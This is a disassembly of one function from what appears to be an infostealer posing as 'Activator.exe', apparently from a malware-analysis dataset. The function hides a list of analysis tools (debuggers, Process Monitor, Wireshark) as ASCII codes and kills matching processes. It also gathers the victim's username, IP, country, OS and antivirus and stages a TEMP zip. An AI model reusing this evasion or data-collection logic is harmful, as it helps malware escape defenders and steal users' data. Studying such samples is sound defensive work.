Function at 0x43ca30
Capabilities:
Create process on windows
Enumerate processes
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x65bc40
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x680
mov eax, dword [0x6d5ec0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.65_99_116_105_118_97_116_111_114_46_101_120_101
lea ecx, [ebp - 0x34]
call fcn.00423c90
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x2b0]
call fcn.00421f10
lea ecx, [ebp - 0x34]
call fcn.00406430
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x2b0]
call fcn.00447300
lea ecx, [ebp - 0x2b0]
mov esi, dword [eax]
lea eax, [ebp - 0x3c]
push eax
call fcn.00423c70
push ecx
push esi
lea ecx, [ebp - 0x70]
push dword [eax]
call fcn.00459570
push eax
lea ecx, [ebp - 0x34]
call fcn.00405680
mov eax, ecx
push eax
push ecx
lea ecx, [ebp - 0x148]
call fcn.00409c50
add esp, 4
lea ecx, [ebp - 0x66c]
mov edx, eax
call fcn.004062b0
add esp, 4
lea ecx, [ebp - 0x130]
push ecx
mov ecx, eax
call fcn.004058d0
lea ecx, [ebp - 0x66c]
call fcn.00406430
lea ecx, [ebp - 0x148]
call fcn.00406430
lea ecx, [ebp - 0x34]
call fcn.00406430
lea ecx, [ebp - 0x70]
call fcn.00406430
lea edx, [ebp - 0x130]
call fcn.00438a50
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test al, al
je 0x43cb93
push 0x40
lea eax, [ebp - 0x634]
mov dword [ebp - 0x638], 0x44
push 0
push eax
call fcn.006213c0
add esp, 0xc
lea eax, [ebp - 0x648]
lea ecx, [ebp - 0x130]
push eax
lea eax, [ebp - 0x638]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call fcn.004469b0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x43cb93
push dword [ebp - 0x648]
call esi
push dword [ebp - 0x644]
call esi
lea ecx, [ebp - 0x178]
call fcn.00422fd0
lea ecx, [ebp - 0x160]
call fcn.00423390
lea ecx, [ebp - 0x298]
call fcn.0042dd10
lea edx, [ebp - 0x298]
lea ecx, [ebp - 0x1f0]
call fcn.0042e1b0
lea ecx, [ebp - 0x1d8]
call fcn.0042e250
lea ecx, [ebp - 0x280]
call fcn.0042e360
lea edx, [ebp - 0x280]
lea ecx, [ebp - 0x1c0]
call fcn.0042e1b0
lea ecx, [ebp - 0x190]
call fcn.00437770
cmp dword [ebp - 0x168], 0
jne 0x43cc10
push str.Unknown
lea ecx, [ebp - 0x178]
call fcn.004475e0
cmp dword [ebp - 0x150], 0
jne 0x43cc29
push str.Unknown
lea ecx, [ebp - 0x160]
call fcn.004475e0
cmp dword [ebp - 0x1c8], 0
jne 0x43cc42
push str.Unknown
lea ecx, [ebp - 0x1d8]
call fcn.004475e0
cmp dword [ebp - 0x1b0], 0
jne 0x43cc5b
push str.Unknown
lea ecx, [ebp - 0x1c0]
call fcn.004475e0
cmp dword [ebp - 0x1e0], 0
jne 0x43cc74
push str.Unknown
lea ecx, [ebp - 0x1f0]
call fcn.004475e0
lea eax, [ebp - 0x1f0]
push eax
push str._nAntivirus:
lea eax, [ebp - 0x1c0]
push eax
push str._nOS_Version:
lea eax, [ebp - 0x160]
push eax
push str._nCountry_Code:
lea eax, [ebp - 0x178]
push eax
push str._nIP_Address:
lea eax, [ebp - 0x1d8]
push eax
lea eax, [ebp - 0x100]
push str.Username:
push eax
call fcn.00452ec0
add esp, 0xc
push eax
lea eax, [ebp - 0xa0]
push eax
call fcn.00451410
add esp, 0xc
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00451520
add esp, 0xc
push eax
lea eax, [ebp - 0xb8]
push eax
call fcn.00451410
add esp, 0xc
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.00451520
add esp, 0xc
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.00451410
add esp, 0xc
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00451520
add esp, 0xc
push eax
lea eax, [ebp - 0x66c]
push eax
call fcn.00451410
add esp, 0xc
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.00451520
add esp, 0xc
lea ecx, [ebp - 0x66c]
call fcn.00447640
lea ecx, [ebp - 0x34]
call fcn.00447640
lea ecx, [ebp - 0x148]
call fcn.00447640
lea ecx, [ebp - 0x70]
call fcn.00447640
lea ecx, [ebp - 0xb8]
call fcn.00447640
lea ecx, [ebp - 0x58]
call fcn.00447640
lea ecx, [ebp - 0xa0]
call fcn.00447640
lea ecx, [ebp - 0x100]
call fcn.00447640
xorps xmm0, xmm0
mov dword [ebp - 0x1a0], 0
push str.84_104_101_32_73_110_116_101_114_97_99_116_105_118_101_32_68_105_115_97_115_115_101_109_98_108_101_114
lea ecx, [ebp - 0x5f0]
movq qword [ebp - 0x1a8], xmm0
call fcn.00423c90
push str.120_54_52_100_98_103
lea ecx, [ebp - 0x5d8]
call fcn.00423c90
push str.80_114_111_99_101_115_115_32_72_97_99_107_101_114
lea ecx, [ebp - 0x5c0]
call fcn.00423c90
push str.87_105_114_101_115_104_97_114_107
lea ecx, [ebp - 0x5a8]
call fcn.00423c90
push str.100_110_83_112_121
lea ecx, [ebp - 0x590]
call fcn.00423c90
push str.68_101_116_101_99_116_32_73_116_32_69_97_115_121_40_68_105_69_41
lea ecx, [ebp - 0x578]
call fcn.00423c90
push str.69_120_69_105_110_102_111_32_80_69_32_45_32_87_105_110_51_50_32_101_120_101_32_105_100_101_110_116_105_102_105_101_114
lea ecx, [ebp - 0x560]
call fcn.00423c90
push str.77_97_108_119_97_114_101_32_73_110_105_116_105_97_108_32_65_115_115_101_115_115_109_101_110_116_32_124_32_119_119_119_46_119_105_110_105_116_111_114_46_99_111_109
lea ecx, [ebp - 0x548]
call fcn.00423c90
push str.67_111_109_109_111_110_32_70_105_108_101_32_70_111_114_109_97_116_32_69_120_112_108_111_114_101_114
lea ecx, [ebp - 0x530]
call fcn.00423c90
push str.72_120_68_32_72_101_120_32_69_100_105_116_111_114
lea ecx, [ebp - 0x518]
call fcn.00423c90
push str.74_97_118_97_40_84_77_41_32_80_108_97_116_102_111_114_109_32_83_69_32_98_105_110_97_114_121
lea ecx, [ebp - 0x500]
call fcn.00423c90
push str.66_105_110_97_114_121_32_78_105_110_106_97_32_52_46_48
lea ecx, [ebp - 0x4e8]
call fcn.00423c90
push str.83_121_115_105_110_116_101_114_110_97_108_115_32_80_114_111_99_101_115_115_32_69_120_112_108_111_114_101_114
lea ecx, [ebp - 0x4d0]
call fcn.00423c90
push str.80_114_111_99_101_115_115_32_77_111_110_105_116_111_114
lea ecx, [ebp - 0x4b8]
call fcn.00423c90
push str.83_121_115_105_110_116_101_114_110_97_108_115_32_84_99_112_86_105_101_119
lea ecx, [ebp - 0x4a0]
call fcn.00423c90
push str.83_121_115_116_101_109_32_97_99_116_105_118_105_116_121_32_109_111_110_105_116_111_114
lea ecx, [ebp - 0x488]
call fcn.00423c90
push str.65_117_116_111_115_116_97_114_116_32_112_114_111_103_114_97_109_32_118_105_101_119_101_114
lea ecx, [ebp - 0x470]
call fcn.00423c90
push str.80_121_116_104_111_110
lea ecx, [ebp - 0x458]
call fcn.00423c90
push str.87_105_110_100_111_119_115_32_80_111_119_101_114_83_104_101_108_108
lea ecx, [ebp - 0x440]
call fcn.00423c90
push str.65_80_73_32_77_111_110_105_116_111_114_32_118_50_32_40_65_108_112_104_97_41_32_51_50_45_98_105_116
lea ecx, [ebp - 0x428]
call fcn.00423c90
push str.65_80_73_32_77_111_110_105_116_111_114_32_118_50_32_40_65_108_112_104_97_41_32_54_52_45_98_105_116
lea ecx, [ebp - 0x410]
call fcn.00423c90
push str.48_49_48_32_69_100_105_116_111_114_32_45_32_80_114_111_32_84_101_120_116_47_72_101_120_32_69_100_105_116_111_114
lea ecx, [ebp - 0x3f8]
call fcn.00423c90
push str.72_101_120_32_87_111_114_107_115_104_111_112
lea ecx, [ebp - 0x3e0]
call fcn.00423c90
push str.82_101_103_115_104_111_116_32_49_46_57_46_48_32_120_56_54_32_65_78_83_73
lea ecx, [ebp - 0x3c8]
call fcn.00423c90
push str.82_101_103_115_104_111_116_32_49_46_57_46_48_32_120_54_52_32_65_78_83_73
lea ecx, [ebp - 0x3b0]
call fcn.00423c90
push str.82_101_103_115_104_111_116_32_49_46_57_46_48_32_120_54_52_32_85_110_105_99_111_100_101
lea ecx, [ebp - 0x398]
call fcn.00423c90
push str.82_101_103_115_104_111_116_32_49_46_57_46_48_32_120_56_54_32_85_110_105_99_111_100_101
lea ecx, [ebp - 0x380]
call fcn.00423c90
lea ecx, [ebp - 0x5f0]
lea eax, [ebp - 0x368]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x1a8]
call fcn.00435220
push fcn.00406430
push 0x1b
push 0x18
lea eax, [ebp - 0x5f0]
push eax
call fcn.0061ec37
call fcn.0042dbb0
test al, al
jne 0x43cf91
call fcn.0042dad0
mov esi, 1
jmp 0x43e85c
push ecx
push 0x6ed414
lea ecx, [ebp - 0x34]
call fcn.004516c0
lea ecx, [ebp - 0x34]
call fcn.00409800
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x651], al
call fcn.00406430
cmp byte [ebp - 0x651], 0
jne 0x43cfdc
push ecx
push 0x6ed414
lea ecx, [ebp - 0x34]
call fcn.004516c0
lea ecx, [ebp - 0x34]
call fcn.004099d0
lea ecx, [ebp - 0x34]
call fcn.00406430
xorps xmm0, xmm0
mov dword [ebp - 0x194], 0
lea edx, [ebp - 0x1a8]
movq qword [ebp - 0x19c], xmm0
lea ecx, [ebp - 0x19c]
call fcn.0042ee20
lea ecx, [ebp - 0x19c]
call fcn.0042ef80
mov eax, dword [0x6ed3ec]
mov edi, dword [0x6ed3e8]
mov dword [ebp - 0x18], eax
cmp edi, eax
je 0x43d150
mov edx, edi
lea ecx, [ebp - 0x34]
call fcn.0042ec30
xor eax, eax
push eax
push 2
mov dword [ebp - 0x3c], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x43d04c
push str.CreateToolhelp32Snapshot_failed
jmp 0x43d0e5
lea eax, [ebp - 0x598]
mov dword [ebp - 0x598], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x43d085
push str.Process32First_failed
push 0x6ec1a0
call fcn.00458a50
push eax
call fcn.00458cf0
add esp, 0xc
jmp 0x43d103
cmp dword [ebp - 0x20], 7
lea eax, [ebp - 0x34]
cmova eax, dword [ebp - 0x34]
push eax
lea eax, [ebp - 0x574]
push eax
call fcn.0062c72e
add esp, 8
test eax, eax
je 0x43d0b8
lea eax, [ebp - 0x598]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x43d085
jmp 0x43d0c1
mov eax, dword [ebp - 0x590]
mov dword [ebp - 0x3c], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x3c]
test eax, eax
je 0x43d10a
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x43d0fa
push str.OpenProcess_failed
push 0x6ec1a0
call fcn.00458a50
push eax
call fcn.00458cf0
add esp, 0xc
jmp 0x43d10a
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43d144
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43d13a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ec32
push ecx
push edx
call fcn.0061ef9d
add esp, 8
add edi, 0x18
cmp edi, dword [ebp - 0x18]
jne 0x43d023
call fcn.00423e50
call fcn.00425110
call fcn.00438bf0
call fcn.00424960
call dword [sym.imp.ole32.dll_CoUninitialize]
call fcn.0042e780
call fcn.004319b0
call fcn.004338c0
call fcn.00430680
call fcn.004354c0
push str.TEMP
call fcn.0063833c
mov edx, eax
mov dword [ebp - 0x138], 0
mov ecx, edx
mov dword [ebp - 0x134], 0
xorps xmm0, xmm0
add esp, 4
movups xmmword [ebp - 0x148], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d1b5
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x148]
call fcn.00411430
mov ecx, dword [ebp - 0x138]
mov eax, SysReAllocString
sub eax, ecx
cmp eax, 1
jb 0x43ec2d
cmp dword [ebp - 0x134], 0xf
lea eax, [ebp - 0x148]
push 1
cmova eax, dword [ebp - 0x148]
push 0x6a7b00
push ecx
push eax
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0x34]
call fcn.00466af0
mov edx, dword [ebp - 0x20]
mov eax, edx
mov ecx, dword [ebp - 0x24]
sub eax, ecx
cmp eax, 1
jb 0x43d23a
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmova eax, dword [ebp - 0x34]
mov word [eax + ecx], 0x5b
lea eax, [ebp - 0x34]
jmp 0x43d24e
push 1
push 0x6a588c
push dword [ebp - 0x18]
lea ecx, [ebp - 0x34]
push 1
call fcn.0045e360
mov dword [ebp - 0x640], 0
lea ecx, [ebp - 0x160]
mov dword [ebp - 0x63c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x650], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x650], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x640], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [ebp - 0x14c], 0xf
mov edx, dword [ebp - 0x640]
cmova ecx, dword [ebp - 0x160]
mov eax, dword [ebp - 0x63c]
mov edi, dword [ebp - 0x150]
sub eax, edx
mov dword [ebp - 0x18], edx
push edi
push ecx
cmp edi, eax
ja 0x43d300
cmp dword [ebp - 0x63c], 0xf
lea esi, [ebp - 0x650]
lea eax, [edx + edi]
cmova esi, dword [ebp - 0x650]
mov dword [ebp - 0x640], eax
lea eax, [esi + edx]
push eax
call fcn.00620e40
mov ecx, dword [ebp - 0x18]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x650]
jmp 0x43d30f
push dword [ebp - 0x18]
lea ecx, [ebp - 0x650]
push edi
call fcn.0045e360
mov dword [ebp - 0x48], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x58], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x48], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x44]
mov eax, edx
mov ecx, dword [ebp - 0x48]
sub eax, ecx
cmp eax, 1
jb 0x43d370
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x58]
cmova eax, dword [ebp - 0x58]
mov word [eax + ecx], 0x5f
lea eax, [ebp - 0x58]
jmp 0x43d384
push 1
push 0x6ab1c8
push dword [ebp - 0x18]
lea ecx, [ebp - 0x58]
push 1
call fcn.0045e360
mov dword [ebp - 0x90], 0
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x8c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xa0], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xa0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x90], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [ebp - 0x164], 0xf
mov esi, dword [ebp - 0x8c]
mov eax, esi
cmova ecx, dword [ebp - 0x178]
mov edi, dword [ebp - 0x168]
mov edx, dword [ebp - 0x90]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x43d42b
lea eax, [edi + edx]
cmp esi, 0xf
mov dword [ebp - 0x90], eax
lea eax, [ebp - 0xa0]
cmova eax, dword [ebp - 0xa0]
lea esi, [eax + edx]
push esi
call fcn.00620e40
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [ebp - 0xa0]
jmp 0x43d43a
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa0]
push edi
call fcn.0045e360
mov dword [ebp - 0xf0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x100], xmm0
mov dword [ebp - 0xec], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x100], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xf0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0xec]
mov eax, edx
mov ecx, dword [ebp - 0xf0]
sub eax, ecx
cmp eax, 1
jb 0x43d4bc
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0xf0], eax
lea eax, [ebp - 0x100]
cmova eax, dword [ebp - 0x100]
mov word [eax + ecx], 0x5f
lea eax, [ebp - 0x100]
jmp 0x43d4d3
push 1
push 0x6ab1c8
push dword [ebp - 0x18]
lea ecx, [ebp - 0x100]
push 1
call fcn.0045e360
mov dword [ebp - 0xd8], 0
lea ecx, [ebp - 0x190]
mov dword [ebp - 0xd4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xe8], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [ebp - 0x17c], 0xf
mov esi, dword [ebp - 0xd4]
mov eax, esi
cmova ecx, dword [ebp - 0x190]
mov edi, dword [ebp - 0x180]
mov edx, dword [ebp - 0xd8]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x43d57a
lea eax, [edi + edx]
cmp esi, 0xf
mov dword [ebp - 0xd8], eax
lea eax, [ebp - 0xe8]
cmova eax, dword [ebp - 0xe8]
lea esi, [eax + edx]
push esi
call fcn.00620e40
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [ebp - 0xe8]
jmp 0x43d589
push dword [ebp - 0x18]
lea ecx, [ebp - 0xe8]
push edi
call fcn.0045e360
mov dword [ebp - 0x108], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x104], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x118], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x108], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x104]
mov eax, edx
mov ecx, dword [ebp - 0x108]
sub eax, ecx
cmp eax, 1
jb 0x43d60b
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0x108], eax
lea eax, [ebp - 0x118]
cmova eax, dword [ebp - 0x118]
mov word [eax + ecx], 0x5d
lea eax, [ebp - 0x118]
jmp 0x43d622
push 1
push 0x6a5888
push dword [ebp - 0x18]
lea ecx, [ebp - 0x118]
push 1
call fcn.0045e360
mov dword [ebp - 0x78], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x88], xmm0
mov dword [ebp - 0x74], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x88], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x78], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x104]
cmp ecx, 0xf
jbe 0x43d699
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d68f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ec32
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
cmp ecx, 0xf
jbe 0x43d6ee
mov edx, dword [ebp - 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d6e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ec32
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0xf
mov byte [ebp - 0xe8], 0
cmp ecx, 0xf
jbe 0x43d743
mov edx, dword [ebp - 0x100]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d739
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ec32
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0xf
mov byte [ebp - 0x100], 0
cmp ecx, 0xf
jbe 0x43d798
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d78e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ec32
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
cmp ecx, 0xf
jbe 0x43d7e7
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d7dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ec32
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x63c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp ecx, 0xf
jbe 0x43d833
mov edx, dword [ebp - 0x650]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d829
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ec32
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x640], 0
mov dword [ebp - 0x63c], 0xf
mov byte [ebp - 0x650], 0
cmp ecx, 0xf
jbe 0x43d882
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d878
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ec32
push ecx
push edx
call fcn.0061ef9d
add esp, 8
cmp dword [ebp - 0x74], 0xf
lea eax, [ebp - 0x88]
push dword [ebp - 0x78]
cmova eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x34]
push eax
mov byte [ebp - 0x18], 0
push dword [ebp - 0x18]
call fcn.0047d7b0
add esp, 0xc
mov dword [ebp - 0x1c], 0
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x18], 0x6d69c0
lea ecx, [ebp - 0x34]
call fcn.00409770
cmp dword [ebp - 0x1c], 0
mov byte [ebp - 0x651], al
jne 0x43ec37
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43d912
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43d902
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ec48
push ecx
push edx
call fcn.0061ef9d
mov al, byte [ebp - 0x651]
add esp, 8
test al, al
je 0x43d936
push ecx
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
call fcn.00409bd0
lea ecx, [ebp - 0x34]
call fcn.00406430
cmp dword [ebp - 0x74], 0xf
lea ecx, [ebp - 0x88]
mov eax, dword [ebp - 0x78]
cmova ecx, dword [ebp - 0x88]
add eax, ecx
cmp dword [ebp - 0x74], 0xf
lea ecx, [ebp - 0x88]
cmova ecx, dword [ebp - 0x88]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x66c]
call fcn.00459570
xorps xmm0, xmm0
mov dword [ebp - 0xa8], 0
movups xmmword [ebp - 0xb8], xmm0
mov dword [ebp - 0xa4], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa8], xmm0
xorps xmm0, xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov eax, 0x6ed414
cmp dword [0x6ed428], 7
push dword [0x6ed424]
cmova eax, dword [0x6ed414]
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x70]
push eax
movups xmmword [ebp - 0x70], xmm0
call fcn.00423ce0
cmp dword [ebp - 0xa4], 7
lea ecx, [ebp - 0xb8]
lea eax, [ebp - 0x70]
cmova ecx, dword [ebp - 0xb8]
cmp dword [ebp - 0x5c], 7
push ecx
cmova eax, dword [ebp - 0x70]
push eax
call fcn.0060b483
test eax, eax
jne 0x43ec4d
mov ecx, dword [ebp - 0x5c]
cmp ecx, 7
jbe 0x43da4a
mov edx, dword [ebp - 0x70]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43da40
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ec64
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0xa4]
xor eax, eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 7
mov word [ebp - 0x70], ax
cmp ecx, 7
jbe 0x43da9e
mov edx, dword [ebp - 0xb8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43da94
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ec64
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x658]
xor eax, eax
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 7
mov word [ebp - 0xb8], ax
cmp ecx, 7
jbe 0x43dafb
mov edx, dword [ebp - 0x66c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43daf1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ec64
push ecx
push edx
call fcn.0061ef9d
add esp, 8
mov ecx, dword [ebp - 0x78]
mov eax, SysReAllocString
sub eax, ecx
cmp eax, 4
jb 0x43ec69
cmp dword [ebp - 0x74], 0xf
lea eax, [ebp - 0x88]
push 4
cmova eax, dword [ebp - 0x88]
push str..zip
push ecx
push eax
lea eax, [ebp - 0x88]
push eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0xd0]
call fcn.00466af0
cmp dword [ebp - 0xbc], 0xf
lea eax, [ebp - 0xd0]
push dword [ebp - 0xc0]
cmova eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0x34]
push eax
mov byte [ebp - 0x18], 0
push dword [ebp - 0x18]
call fcn.0047d7b0
add esp, 0xc
mov dword [ebp - 0x1c], 0
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x18], 0x6d69c0
lea ecx, [ebp - 0x34]
call fcn.00409770
cmp dword [ebp - 0x1c], 0
mov byte [ebp - 0x651], al
jne 0x43ec6e
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43dbd3
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43dbc3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43ec7f
push ecx
push edx
call fcn.0061ef9d
mov al, byte [ebp - 0x651]
add esp, 8
test al, al
je 0x43dc00
push ecx
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x66c]
call fcn.0045a110
lea ecx, [ebp - 0x66c]
call fcn.004099a0
lea ecx, [ebp - 0x66c]
call fcn.00406430
lea edx, [ebp - 0x88]
lea ecx, [ebp - 0xd0]
call fcn.004382c0
cmp dword [ebp - 0x74], 0xf
lea eax, [ebp - 0x88]
push dword [ebp - 0x78]
cmova eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x34]
push eax
mov byte [ebp - 0x18], 0
push dword [ebp - 0x18]
call fcn.0047d7b0
add esp, 0xc
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 7
cmova eax, dword [ebp - 0x34]
push eax
call fcn.0060b2e3
mov dword [ebp - 0x674], eax
mov ecx, edx
movzx eax, al
cdq
